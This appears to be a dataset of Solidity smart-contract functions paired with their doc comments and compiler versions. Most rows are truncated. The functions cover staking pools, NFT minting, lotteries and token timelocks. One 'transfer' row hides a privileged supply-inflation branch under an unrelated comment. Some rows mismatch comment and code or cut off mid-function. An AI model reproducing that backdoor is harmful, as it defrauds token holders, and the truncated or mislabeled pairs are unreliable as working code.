comment stringlengths 11 2.99k | function_code stringlengths 165 3.15k | version stringclasses 80
values |
|---|---|---|
/// Imported from: https://forum.openzeppelin.com/t/does-safemath-library-need-a-safe-power-function/871/7
/// Modified so that it takes in 3 arguments for base
/// @return a * (b / c)^exponent | function pow(uint256 a, uint256 b, uint256 c, uint256 exponent) internal pure returns (uint256) {
if (exponent == 0) {
return a;
}
else if (exponent == 1) {
return a.mul(b).div(c);
}
else if (a == 0 && exponent != 0) {
return 0;
... | 0.5.17 |
/**
* @notice Deposits `amount` USDC from msg.sender into the SeniorPool, and grants you the
* equivalent value of FIDU tokens
* @param amount The amount of USDC to deposit
*/ | function deposit(uint256 amount) public override whenNotPaused nonReentrant returns (uint256 depositShares) {
require(amount > 0, "Must deposit more than zero");
// Check if the amount of new shares to be added is within limits
depositShares = getNumShares(amount);
uint256 potentialNewTotalShares = tota... | 0.6.12 |
/**
* @notice Withdraws USDC from the SeniorPool to msg.sender, and burns the equivalent value of FIDU tokens
* @param usdcAmount The amount of USDC to withdraw
*/ | function withdraw(uint256 usdcAmount) external override whenNotPaused nonReentrant returns (uint256 amount) {
require(usdcAmount > 0, "Must withdraw more than zero");
// This MUST happen before calculating withdrawShares, otherwise the share price
// changes between calculation and burning of Fidu, which cr... | 0.6.12 |
/**
* @notice Withdraws USDC (denominated in FIDU terms) from the SeniorPool to msg.sender
* @param fiduAmount The amount of USDC to withdraw in terms of FIDU shares
*/ | function withdrawInFidu(uint256 fiduAmount) external override whenNotPaused nonReentrant returns (uint256 amount) {
require(fiduAmount > 0, "Must withdraw more than zero");
// This MUST happen before calculating withdrawShares, otherwise the share price
// changes between calculation and burning of Fidu, wh... | 0.6.12 |
/**
* @notice Moves any USDC still in the SeniorPool to Compound, and tracks the amount internally.
* This is done to earn interest on latent funds until we have other borrowers who can use it.
*
* Requirements:
* - The caller must be an admin.
*/ | function sweepToCompound() public override onlyAdmin whenNotPaused {
IERC20 usdc = config.getUSDC();
uint256 usdcBalance = usdc.balanceOf(address(this));
ICUSDCContract cUSDC = config.getCUSDCContract();
// Approve compound to the exact amount
bool success = usdc.approve(address(cUSDC), usdcBalance... | 0.6.12 |
/**
* @notice Invest in an ITranchedPool's senior tranche using the fund's strategy
* @param pool An ITranchedPool whose senior tranche should be considered for investment
*/ | function invest(ITranchedPool pool) public override whenNotPaused nonReentrant onlyAdmin {
require(validPool(pool), "Pool must be valid");
if (compoundBalance > 0) {
_sweepFromCompound();
}
ISeniorPoolStrategy strategy = config.getSeniorPoolStrategy();
uint256 amount = strategy.invest(this, ... | 0.6.12 |
/**
* @notice Invest in an ITranchedPool's junior tranche.
* @param pool An ITranchedPool whose junior tranche to invest in
*/ | function investJunior(ITranchedPool pool, uint256 amount) public override whenNotPaused nonReentrant onlyAdmin {
require(validPool(pool), "Pool must be valid");
// We don't intend to support allowing the senior fund to invest in the junior tranche if it
// has already invested in the senior tranche, so we ... | 0.6.12 |
/**
* @notice Redeem interest and/or principal from an ITranchedPool investment
* @param tokenId the ID of an IPoolTokens token to be redeemed
*/ | function redeem(uint256 tokenId) public override whenNotPaused nonReentrant onlyAdmin {
IPoolTokens poolTokens = config.getPoolTokens();
IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId);
ITranchedPool pool = ITranchedPool(tokenInfo.pool);
(uint256 interestRedeemed, uint256 prin... | 0.6.12 |
/**
* @notice Write down an ITranchedPool investment. This will adjust the fund's share price
* down if we're considering the investment a loss, or up if the borrower has subsequently
* made repayments that restore confidence that the full loan will be repaid.
* @param tokenId the ID of an IPoolTokens token to be... | function writedown(uint256 tokenId) public override whenNotPaused nonReentrant onlyAdmin {
IPoolTokens poolTokens = config.getPoolTokens();
require(address(this) == poolTokens.ownerOf(tokenId), "Only tokens owned by the senior fund can be written down");
IPoolTokens.TokenInfo memory tokenInfo = poolTokens.... | 0.6.12 |
/**
* @notice Calculates the writedown amount for a particular pool position
* @param tokenId The token reprsenting the position
* @return The amount in dollars the principal should be written down by
*/ | function calculateWritedown(uint256 tokenId) public view override returns (uint256) {
IPoolTokens.TokenInfo memory tokenInfo = config.getPoolTokens().getTokenInfo(tokenId);
ITranchedPool pool = ITranchedPool(tokenInfo.pool);
uint256 principalRemaining = tokenInfo.principalAmount.sub(tokenInfo.principalRede... | 0.6.12 |
/*
returns the unpaid earnings
*/ | function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
... | 0.8.10 |
// helper for address type - see openzeppelin-contracts/blob/master/contracts/utils/Address.sol | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
... | 0.6.12 |
// Mystic implementation of eip-1167 - see https://eips.ethereum.org/EIPS/eip-1167 | function createClone(address payable target) internal returns (address payable result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone,... | 0.6.12 |
//USER FUNCTIONS | function meltPunk(uint256 tokenId) public payable returns (uint256) {
require(msg.value >= currentPrice, "Must send enough ETH.");
require(
tokenId >= 0 && tokenId < 10000,
"Punk ID must be between -1 and 10000"
);
require(totalSupply() < maxSupply, "Maximum... | 0.8.0 |
// Get the internal liquidity of a SVT token | function get_svt_liquidity(uint256 svt_id) external view returns (bool, bool, address, address, uint256, uint256, uint256, address, address, bool) {
require(SVT_address[svt_id].deployed, "SVT Token does not exist");
uint256 liq_index = SVT_address[svt_id].SVT_Liquidity_storage;
require(SVT_L... | 0.8.7 |
// Get the price of a token in eth | function get_token_price(address pairAddress, uint amount) external view returns(uint)
{
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
address token1_frompair = pair.token1();
ERC20 token1 = ERC20(token1_frompair);
(uint Res0, uint Res1,) = pair.getReserves();
/... | 0.8.7 |
// Return the properties of a SVT token | function get_svt(uint256 addy) external view returns (address, uint256, uint256, uint256[] memory, bytes32 , bytes32 ) {
require(SVT_address[addy].deployed, "Token not deployed");
address tokenOwner = SVT_address[addy].tokenOwner;
uint256 supply = SVT_address[addy].totalSupply;
uint... | 0.8.7 |
/// @notice Unbridge to ETH a quantity of SVT token | function exit_to_token(address token, uint256 qty) public safe {
ERC20 from_token = ERC20(token);
// Security and uniqueness checks
require(imported[token], "This token is not imported");
uint256 unbridge_id = imported_id[token];
require(SVT_address[unbridge_id].balance[msg.... | 0.8.7 |
/// @notice The next two functions are responsible to check against the initialized plugin methods ids or names. Require is used to avoid tx execution with gas if fails | function check_ivc_plugin_method_id(uint256 plugin, uint256 id) public view onlyTeam returns (bool) {
require(plugin_loaded[plugin].exists(), "Plugin not loaded or not existant");
bool found = false;
for (uint256 i = 0; i < plugins_methods_id[plugin].length; i++) {
if (plugins_me... | 0.8.7 |
/// @notice This function allows issuance of native coins | function issue_native_svt(
bytes32 name,
bytes32 ticker,
uint256 max_supply,
uint256[] calldata fees)
public Unlocked(1553) safe {
uint256 thisAddress = svt_last_id+1;
SVT_address[thisAddress].deployed = true;
SVT_address[thisAddress].circulatingSup... | 0.8.7 |
/**
* Mint a number of cards straight in target wallet.
* @param _to: The target wallet address, make sure it's the correct wallet.
* @param _numberOfTokens: The number of tokens to mint.
* @dev This function can only be called by the contract owner as it is a free mint.
*/ | function mintFreeCards(address _to, uint _numberOfTokens) public onlyOwner {
uint totalSupply = totalSupply();
require(_numberOfTokens <= _cardReserve, "Not enough cards left in reserve");
require(totalSupply >= _mainCardCnt);
require(totalSupply + _numberOfTokens <= _mainCardCnt + _card... | 0.7.6 |
/**
* Mint a number of cards straight in the caller's wallet.
* @param _numberOfTokens: The number of tokens to mint.
*/ | function mintCard(uint _numberOfTokens) public payable {
uint totalSupply = totalSupply();
require(_saleIsActive, "Sale must be active to mint a Card");
require(_numberOfTokens < 21, "Can only mint 20 tokens at a time");
require(totalSupply + _numberOfTokens <= _mainCardCnt, "Purchase wo... | 0.7.6 |
/// @return id of new user | function register() public payable onlyNotExistingUser returns(uint256) {
require(addressToUser[msg.sender] == 0);
uint256 index = users.push(User(msg.sender, msg.value, 0, 0, new uint256[](4), new uint256[](referralLevelsCount))) - 1;
addressToUser[msg.sender] = index;
totalUsers+... | 0.4.24 |
/// @notice update referrersByLevel and referralsByLevel of new user
/// @param _newUserId the ID of the new user
/// @param _refUserId the ID of the user who gets the affiliate fee | function _updateReferrals(uint256 _newUserId, uint256 _refUserId) private {
if (_newUserId == _refUserId) return;
users[_newUserId].referrersByLevel[0] = _refUserId;
for (uint i = 1; i < referralLevelsCount; i++) {
uint256 _refId = users[_refUserId].referrersByLevel[i - 1];
... | 0.4.24 |
/// @notice distribute value of tx to referrers of user
/// @param _userId the ID of the user who gets the affiliate fee
/// @param _sum value of ethereum for distribute to referrers of user | function _distributeReferrers(uint256 _userId, uint256 _sum) private {
uint256[] memory referrers = users[_userId].referrersByLevel;
for (uint i = 0; i < referralLevelsCount; i++) {
uint256 referrerId = referrers[i];
if (referrers[i] == 0) break;
if (users[re... | 0.4.24 |
/// @notice deposit ethereum for user
/// @return balance value of user | function deposit() public payable onlyExistingUser returns(uint256) {
require(msg.value > minSumDeposit, "Deposit does not enough");
uint256 userId = addressToUser[msg.sender];
users[userId].balance = users[userId].balance.add(msg.value);
totalDeposit += msg.value;
// dist... | 0.4.24 |
/// @notice mechanics of buying any factory
/// @param _type type of factory needed
/// @return id of new factory | function buyFactory(FactoryType _type) public payable onlyExistingUser returns (uint256) {
uint256 userId = addressToUser[msg.sender];
// if user not registered
if (addressToUser[msg.sender] == 0)
userId = register();
return _paymentProceed(userId, Factory(_type, 0, ... | 0.4.24 |
//This function is called when Ether is sent to the contract address
//Even if 0 ether is sent. | function () payable {
uint256 tryAmount = div((mul(msg.value, rate)), 1 ether); //Don't let people buy more tokens than there are.
if (msg.value == 0 || msg.value < 0 || balanceOf(owner) < tryAmount) { //If zero ether is sent, kill. Do nothing.
throw;
}
amount... | 0.4.11 |
/// @notice function of proceed payment
/// @dev for only buy new factory
/// @return id of new factory | function _paymentProceed(uint256 _userId, Factory _factory) private returns(uint256) {
User storage user = users[_userId];
require(_checkPayment(user, _factory.ftype, _factory.level));
uint256 price = getPrice(_factory.ftype, 0);
user.balance = user.balance.add(msg.value);
... | 0.4.24 |
/// @notice level up for factory
/// @param _factoryId id of factory | function levelUp(uint256 _factoryId) public payable onlyExistingUser {
Factory storage factory = factories[_factoryId];
uint256 price = getPrice(factory.ftype, factory.level + 1);
uint256 userId = addressToUser[msg.sender];
User storage user = users[userId];
require(_che... | 0.4.24 |
/// @notice function for collect all resources from all factories
/// @dev wrapper over _collectResource | function collectResources() public onlyExistingUser {
uint256 index = addressToUser[msg.sender];
User storage user = users[index];
uint256[] storage factoriesIds = userToFactories[addressToUser[msg.sender]];
for (uint256 i = 0; i < factoriesIds.length; i++) {
_collectR... | 0.4.24 |
// always results in incubation of 1 egg. | function startIncubate() public whenNotPausedIncubate nonReentrant{
require (tme.balanceOf(msg.sender) >= tmePerIncubate, "Not enough TME");
require (maxActiveIncubationsPerUser == 0 || ownerToNumActiveIncubations[msg.sender] < maxActiveIncubationsPerUser, "Max active incubations exceed");
re... | 0.6.12 |
// called by backend to find out hatch result | function getResultOfIncubation(uint256 id) public view returns (bool, uint256){
require (id < incubations.length, "invalid id");
Incubation memory toHatch = incubations[id];
require (toHatch.targetBlock < block.number, "not reached block");
uint256 randomN = traitOracle.getRandomN(... | 0.6.12 |
/// @dev given a number get a slice of any bits, at certain offset
/// @param _n a number to be sliced
/// @param _nbits how many bits long is the new number
/// @param _offset how many bits to skip | function _sliceNumber(uint256 _n, uint8 _nbits, uint8 _offset) private pure returns (uint8) {
// mask is made by shifting left an offset number of times
uint256 mask = uint256((2**uint256(_nbits)) - 1) << _offset;
// AND n with mask, and trim to max of _nbits bits
return uint8((_n & ... | 0.6.12 |
/// INITIALIZATION FUNCTIONALITY /// | function initialize() public {
require(!initialized, "Contract is already initialized");
owner = msg.sender;
proposedOwner = address(0);
assetProtectionRole = address(0);
totalSupply_ = 0;
supplyController = msg.sender;
feeRate = 0;
feeController =... | 0.4.24 |
/// ERC20 FUNCTIONALITY /// | function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(_to != address(0), "cannot transfer to address zero");
require(!frozen[_to] && !frozen[_from] && !frozen[msg.sender], "address frozen");... | 0.4.24 |
// Increase the lock balance of a specific person.
// If you only want to increase the balance, the release_time must be specified in advance. | function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balanceOf(_holder) >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_p... | 0.4.25 |
/// @notice update pool's rewards & bonus per staked token till current block timestamp | function updatePool(address _lpToken) public override {
Pool storage pool = pools[_lpToken];
if (block.timestamp <= pool.lastUpdatedAt) return;
uint256 lpTotal = IERC20(_lpToken).balanceOf(address(this));
if (lpTotal == 0) {
pool.lastUpdatedAt = block.timestamp;
return;
}
// update C... | 0.7.4 |
/// @notice withdraw all without rewards | function emergencyWithdraw(address _lpToken) external override {
Miner storage miner = miners[_lpToken][msg.sender];
uint256 amount = miner.amount;
require(miner.amount > 0, "Blacksmith: insufficient balance");
miner.amount = 0;
miner.rewardWriteoff = 0;
_safeTransfer(_lpToken, amount);
emit... | 0.7.4 |
/// @notice update pool weights | function updatePoolWeights(address[] calldata _lpTokens, uint256[] calldata _weights) public override onlyGovernance {
for (uint256 i = 0; i < _lpTokens.length; i++) {
Pool storage pool = pools[_lpTokens[i]];
if (pool.lastUpdatedAt > 0) {
totalWeight = totalWeight.add(_weights[i]).sub(pool.weigh... | 0.7.4 |
/// @notice add a new pool for shield mining | function addPool(address _lpToken, uint256 _weight) public override onlyOwner {
Pool memory pool = pools[_lpToken];
require(pool.lastUpdatedAt == 0, "Blacksmith: pool exists");
pools[_lpToken] = Pool({
weight: _weight,
accRewardsPerToken: 0,
lastUpdatedAt: block.timestamp
});
total... | 0.7.4 |
/// @notice add new pools for shield mining | function addPools(address[] calldata _lpTokens, uint256[] calldata _weights) external override onlyOwner {
require(_lpTokens.length == _weights.length, "Blacksmith: size don't match");
for (uint256 i = 0; i < _lpTokens.length; i++) {
addPool(_lpTokens[i], _weights[i]);
}
} | 0.7.4 |
/// @notice always assign the same startTime and endTime for both CLAIM and NOCLAIM pool, one bonusToken can be used for only one set of CLAIM and NOCLAIM pools | function addBonusToken(
address _lpToken,
address _bonusToken,
uint256 _startTime,
uint256 _endTime,
uint256 _totalBonus
) external override {
IERC20 bonusToken = IERC20(_bonusToken);
require(pools[_lpToken].lastUpdatedAt != 0, "Blacksmith: pool does NOT exist");
require(allowBonusToke... | 0.7.4 |
/// @notice collect dust to treasury | function collectDust(address _token) external override {
Pool memory pool = pools[_token];
require(pool.lastUpdatedAt == 0, "Blacksmith: lpToken, not allowed");
require(allowBonusTokens[_token] == 0, "Blacksmith: bonusToken, not allowed");
IERC20 token = IERC20(_token);
uint256 amount = token.balan... | 0.7.4 |
/// @notice collect bonus token dust to treasury | function collectBonusDust(address _lpToken) external override {
BonusToken memory bonusToken = bonusTokens[_lpToken];
require(bonusToken.endTime.add(WEEK) < block.timestamp, "Blacksmith: bonusToken, not ready");
IERC20 token = IERC20(bonusToken.addr);
uint256 amount = token.balanceOf(address(this));
... | 0.7.4 |
/// @notice tranfer upto what the contract has | function _safeTransfer(address _token, uint256 _amount) private nonReentrant {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
if (balance > _amount) {
token.safeTransfer(msg.sender, _amount);
} else if (balance > 0) {
token.safeTransfer(msg.sender, balance);... | 0.7.4 |
// mint all tokens to the owner
// function _reserve() private {
// address payable sender = msgSender();
// for (uint256 i = 0; i < maxNftSupply; i++) {
// _safeMint(sender, i, "");
// }
// } | function buy(uint256 tokenId) public payable {
require(activeContract, "Contract is not active");
uint kind = tokenId / MAX_TOKENS_PER_KIND;
require(kind < contracts.length, "TokenId error");
uint extTokenId = tokenId % MAX_TOKENS_PER_KIND;
require(contracts[kind].ownerOf(extToke... | 0.8.7 |
/**
* @dev Mint tokens for community
*/ | function mintCommunityTokens(uint256 numberOfTokens) public onlyOwner {
require(numberOfTokens <= MAX_TOTAL_TOKENS);
require(
numberOfTokens <= MAX_TOTAL_TOKENS,
"Can not mint more than the total supply."
);
require(
totalSupply().add(numberOfTokens) <... | 0.7.0 |
/**
* @dev Mint token to an address
*/ | function mintTokenTransfer(address to, uint256 numberOfTokens)
public
onlyOwner
{
require(numberOfTokens <= MAX_TOTAL_TOKENS);
require(
numberOfTokens <= MAX_TOTAL_TOKENS,
"Can not mint more than the total supply."
);
require(
total... | 0.7.0 |
/**
* toss a coin to yung wknd
* oh valley of plenty
*/ | function withdraw(address _to) public {
require(IERC721(_creator).ownerOf(_tokenId) == msg.sender, "Only collector can withdraw");
require(numMints == 100, "Can only withdraw when sold out");
// Have you ever waltzed into someone's home and taken something without their permission?
uint ... | 0.8.7 |
//When transfer tokens decrease dividendPayments for sender and increase for receiver | function transfer(address _to, uint256 _value) public returns (bool) {
// balance before transfer
uint256 oldBalanceFrom = balances[msg.sender];
// invoke super function with requires
bool isTransferred = super.transfer(_to, _value);
uint256 transferredClaims = dividendP... | 0.4.24 |
//When transfer tokens decrease dividendPayments for token owner and increase for receiver | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// balance before transfer
uint256 oldBalanceFrom = balances[_from];
// invoke super function with requires
bool isTransferred = super.transferFrom(_from, _to, _value);
uint256 tran... | 0.4.24 |
// Get bonus percent | function _getBonusPercent() internal view returns(uint256) {
if (now < endPeriodA) {
return 40;
}
if (now < endPeriodB) {
return 25;
}
if (now < endPeriodC) {
return 20;
}
return 15;
} | 0.4.24 |
// Success finish of PreSale | function finishPreSale() public onlyOwner {
require(totalRaised >= softCap);
require(now > endTime);
// withdrawal all eth from contract
_forwardFunds(address(this).balance);
// withdrawal all T4T tokens from contract
_forwardT4T(t4tToken.balanceOf(address(this)... | 0.4.24 |
// buy tokens - helper function
// @param _beneficiary address of beneficiary
// @param _value of tokens (1 token = 10^18) | function _buyTokens(address _beneficiary, uint256 _value) internal {
// calculate HICS token amount
uint256 valueHics = _value.div(5); // 20% HICS and 80% ICS Tokens
if (_value >= hicsTokenPrice
&& hicsToken.totalSupply().add(_getTokenNumberWithBonus(valueHics)) < capHicsToken) {
... | 0.4.24 |
// buy tokens for T4T tokens
// @param _beneficiary address of beneficiary | function buyTokensT4T(address _beneficiary) public saleIsOn {
require(_beneficiary != address(0));
uint256 valueT4T = t4tToken.allowance(_beneficiary, address(this));
// check minimumInvest
uint256 value = valueT4T.mul(rateT4T);
require(value >= minimumInvest);
... | 0.4.24 |
// low level token purchase function
// @param _beneficiary address of beneficiary | function buyTokens(address _beneficiary) saleIsOn public payable {
require(_beneficiary != address(0));
uint256 weiAmount = msg.value;
uint256 value = weiAmount.mul(rate);
require(value >= minimumInvest);
_buyTokens(_beneficiary, value);
// only for buy using ... | 0.4.24 |
// URI will be returned as baseUri/tokenId | function safeMint(address to, string memory baseUri) public onlyOwner {
require(!_supplyIsLocked, "SussyKneelsNFT: Supply has been permanently locked, no minting is allowed.");
uint16 tokenId = _tokenIdCounter + 1;
_safeMint(to, tokenId);
_baseUri = baseUri;
_tokenIdCounter ... | 0.8.12 |
// URIs will be returned baseUri/tokenId | function safeMintBatch(address to, string memory baseUri, uint16 numTokens) public onlyOwner {
require(!_supplyIsLocked, "SussyKneelsNFT: Supply has been permanently locked, no minting is allowed.");
uint16 counter = _tokenIdCounter;
for(uint16 i=0; i<numTokens; i++) {
counter++;... | 0.8.12 |
// ERC20 token transfer function with additional safety | function transfer(address _to, uint256 _amount) public returns (bool success) {
require(!(_to == 0x0));
if ((balances[msg.sender] >= _amount)
&& (_amount > 0)
&& ((safeAdd(balances[_to],_amount) > balances[_to]))) {
balances[msg.sender] = safeSub(balances[msg.sender], _amount);
balance... | 0.4.18 |
// ERC20 token transferFrom function with additional safety | function transferFrom(
address _from,
address _to,
uint256 _amount) public returns (bool success) {
require(!(_to == 0x0));
if ((balances[_from] >= _amount)
&& (allowed[_from][msg.sender] >= _amount)
&& (_amount > 0)
&& (safeAdd(balances[_to],_amount) > balances[_to])) {
b... | 0.4.18 |
// ERC20 allow _spender to withdraw, multiple times, up to the _value amount | function approve(address _spender, uint256 _amount) public returns (bool success) {
//Fix for known double-spend https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#
//Input must either set allow amount to 0, or have 0 already set, to workaround issue
require((_amount == ... | 0.4.18 |
// ERC20 Updated decrease approval process (to prevent double-spend attack but remove need to zero allowance before setting) | function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedVal... | 0.4.18 |
/* Sell position and collect claim*/ | function sell(uint256 amount) {
if(claimStatus == false) throw; // checks if party can make a claim
if (balanceOf[msg.sender] < amount ) throw; // checks if the sender has enough to sell
balanceOf[this] += amount; // adds the amount to owner's bal... | 0.4.6 |
/**
* @notice tick to increase holdings
*/ | function tick() public {
uint _current = block.number;
uint _diff = _current.sub(lastTick);
if (_diff > 0) {
lastTick = _current;
_diff = balances[address(pool)].mul(_diff).div(700000); // 1% every 7000 blocks
uint _minting = _dif... | 0.5.17 |
// show unlocked balance of an account | function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
... | 0.4.24 |
// show timelocked balance of an account | function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}... | 0.4.24 |
// show timelocks in an account | function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
... | 0.4.24 |
// Calculate and process the timelock states of an account | function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[... | 0.4.24 |
// standard ERC20 transfer | function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(... | 0.4.24 |
// transfer Token with timelocks | function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.l... | 0.4.24 |
// lockers set by owners may transfer Token with timelocks | function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(locker[msg.sender]);
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uin... | 0.4.24 |
// standard ERC20 transferFrom | function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && allowance[_from][msg.sender] >= _value);
allowance[_from][msg.... | 0.4.24 |
/** Path stuff **/ | function getPath(address tokent,bool isSell) internal view returns (address[] memory path){
path = new address[](2);
path[0] = isSell ? tokent : WETH;
path[1] = isSell ? WETH : tokent;
return path;
} | 0.6.12 |
/** Path stuff end **/ | function rebalance(address rewardRecp) external discountCHI override returns (uint256) {
require(msg.sender == address(token), "only token");
swapEthForTokens();
uint256 lockableBalance = token.balanceOf(address(this));
uint256 callerReward = token.getCallerCut(lockableBalance);
... | 0.6.12 |
/**
* @dev Burns a specific amount of tokens from an address
*
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned.
*/ | function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
uint256 lastBalance = balanceOfAt(_from, block.number);
require(_value <= lastBalance);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
address burner = _from;
... | 0.4.24 |
/**
* @dev This is the actual transfer function in the token contract, it can
* @dev only be called by other functions in this contract.
*
* @param _from The address holding the tokens being transferred
* @param _to The address of the recipient
* @param _value The amount of tokens to be transferred
* @par... | function doTransfer(address _from, address _to, uint256 _value, uint256 _lastBalance) internal returns (bool) {
if (_value == 0) {
return true;
}
updateValueAtNow(balances[_from], _lastBalance.sub(_value));
uint256 previousBalance = balanceOfAt(_to, block.number);
updateValueAtNow(ba... | 0.4.24 |
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/ | function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of seria... | 0.8.9 |
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/ | function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _... | 0.8.9 |
// Send ETH to winners | function distributeFunds() internal
{
// determine who is lose
uint8 loser = uint8(getRandom() % players.length + 1);
for (uint i = 0; i <= players.length - 1; i++) {
// if it is loser - skip
if (loser == i + 1) {
emit playerLose(players[i], l... | 0.4.24 |
// verified | function splitSignature(bytes memory _sig)
internal
pure
returns (
uint8,
bytes32,
bytes32
)
{
require(_sig.length == 65, "Invalid signature length");
uint8 v;
bytes32 r;
bytes32 s;
assembly {
r := mload(add(_sig, 32))
s := mload(add(_sig, 64))
... | 0.8.9 |
/**
* @dev giveTickets buy ticket and give it to another player
* @param _user The address of the player that will receive the ticket.
* @param _drawDate The draw date of tickets.
* @param _balls The ball numbers of the tickets.
*/ | function giveTickets(address _user,uint32 _drawDate, uint8[] _balls)
onlyOwner
public
{
require(!_results[_drawDate].hadDraws);
uint32[] memory _idTickets = new uint32[](_balls.length/5);
uint32 id = idTicket;
for(uint8 i = 0; i< _balls.length; i+=5){
require(checkRedBall(_b... | 0.4.24 |
/**
* @dev addTickets allow admin add ticket to player for buy ticket fail
* @param _user The address of the player that will receive the ticket.
* @param _drawDate The draw date of tickets.
* @param _balls The ball numbers of the tickets.
* @param _price The price of the tickets.
*/ | function addTickets(address _user,uint32 _drawDate, uint64 _price, uint8[] _balls)
onlyOwner
public
{
require(!_results[_drawDate].hadDraws);
uint32[] memory _idTickets = new uint32[](_balls.length/5);
uint32 id = idTicket;
for(uint8 i = 0; i< _balls.length; i+=5){
require(c... | 0.4.24 |
/**
* @dev doDraws buy ticket and give it to another player
* @param _drawDate The draw date of tickets.
* @param _result The result of draw.
*/ | function doDraws(uint32 _drawDate, uint8[5] _result)
public
onlyOwner
returns (bool success)
{
require (_draws[_drawDate].count > 0);
require(!_results[_drawDate].hadDraws);
_results[_drawDate].hadDraws =true;
for(uint32 i=0; i<_draws[_drawDate].count;i++){
uint8 _prize = checkTicket(_draws[_dr... | 0.4.24 |
/**
* @dev Called by owner of locked tokens to release them
*/ | function releaseTokens() public {
require(walletTokens[msg.sender].length > 0);
for(uint256 i = 0; i < walletTokens[msg.sender].length; i++) {
if(!walletTokens[msg.sender][i].released && now >= walletTokens[msg.sender][i].lockEndTime) {
walletTokens[msg.sender][i].relea... | 0.4.21 |
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_... | 0.8.9 |
// Initialization functions | function setupWithdrawTokens() internal {
// Start with BAC
IERC20 _token = IERC20(address(0x3449FC1Cd036255BA1EB19d65fF4BA2b8903A69a));
tokenList.push(
TokenInfo({
token: _token,
decimals: _token.decimals()
})
);
... | 0.6.6 |
// Returns the number of locked tokens at the specified address.
// | function lockedValueOf(address _addr) public view returns (uint256 value) {
User storage user = users[_addr];
// Is the lock expired?
if (user.lock_endTime < block.timestamp) {
// Lock is expired, no locked value.
return 0;
} else {
return user.lock_value;
}
} | 0.4.19 |
// Lock the specified number of tokens until the specified unix
// time. The locked value and expiration time are both absolute (if
